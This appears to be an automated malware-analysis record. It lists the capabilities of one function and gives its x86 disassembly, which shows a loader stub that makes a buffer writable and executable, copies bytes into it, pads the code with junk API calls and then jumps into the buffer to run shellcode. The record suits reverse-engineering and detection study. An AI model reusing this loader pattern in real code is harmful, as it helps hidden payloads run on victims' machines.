Function at 0x40152e
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Get hostname
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x150c
call fcn.0040d320
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x40155c
inc esi
cmp esi, 0x4f672
jl 0x401548
mov ecx, dword [0x484d08]
cmp ecx, 0x93
je 0x40175b
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x484d0c], eax
mov dword [0x484d08], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
mov dword [0x484794], eax
push ecx
push 0x40
push dword [0x484d08]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemID]
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x4015a9
mov edx, dword [0x484d08]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test edx, edx
je 0x401645
mov eax, dword [0x484d0c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x484794]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x401640
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0x417734
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.cowom
call ebx
push 0
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0x1508]
push eax
push str.xehowicitowulujapafixivexedahutafetezutaji
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0x484d08]
inc esi
cmp esi, edx
jb 0x4015cf
xor esi, esi
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x40168f
push str.depesiboruvi_rilolawojaweroreseluyi_vesuduxuhupebocu_nap_naxujojowafapazupefuy
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
push str.xecoyigofuwibavonivakexupiwetawa
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x484d08]
inc esi
cmp esi, 0x38681
jl 0x401647
push ecx
call fcn.004014eb
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x4016ae
call fcn.00401512
inc esi
cmp esi, 0x674db
jl 0x4016a0
push 0x7b
pop esi
cmp dword [0x484d08], 0x86
jne 0x401725
xor eax, eax
lea edi, [ebp - 0x36]
mov word [ebp - 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor edi, edi
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x54]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
jmp 0x401727
xor edi, edi
cmp dword [0x484d08], 0xf
jne 0x40173a
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x4016ba
push str.msimg32.dll
call ebx
mov eax, dword [0x484794]
mov dword [0x484cfc], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push str.sunotodukijimov
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp - 8]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push 0x41772c
push ebx
call fcn.0040351c
push ebx
call fcn.004029b6
push ebx
push ebx
push ebx
push ebx
call fcn.004036f6
add esp, 0x1c
push ebx
call fcn.00403e27
int3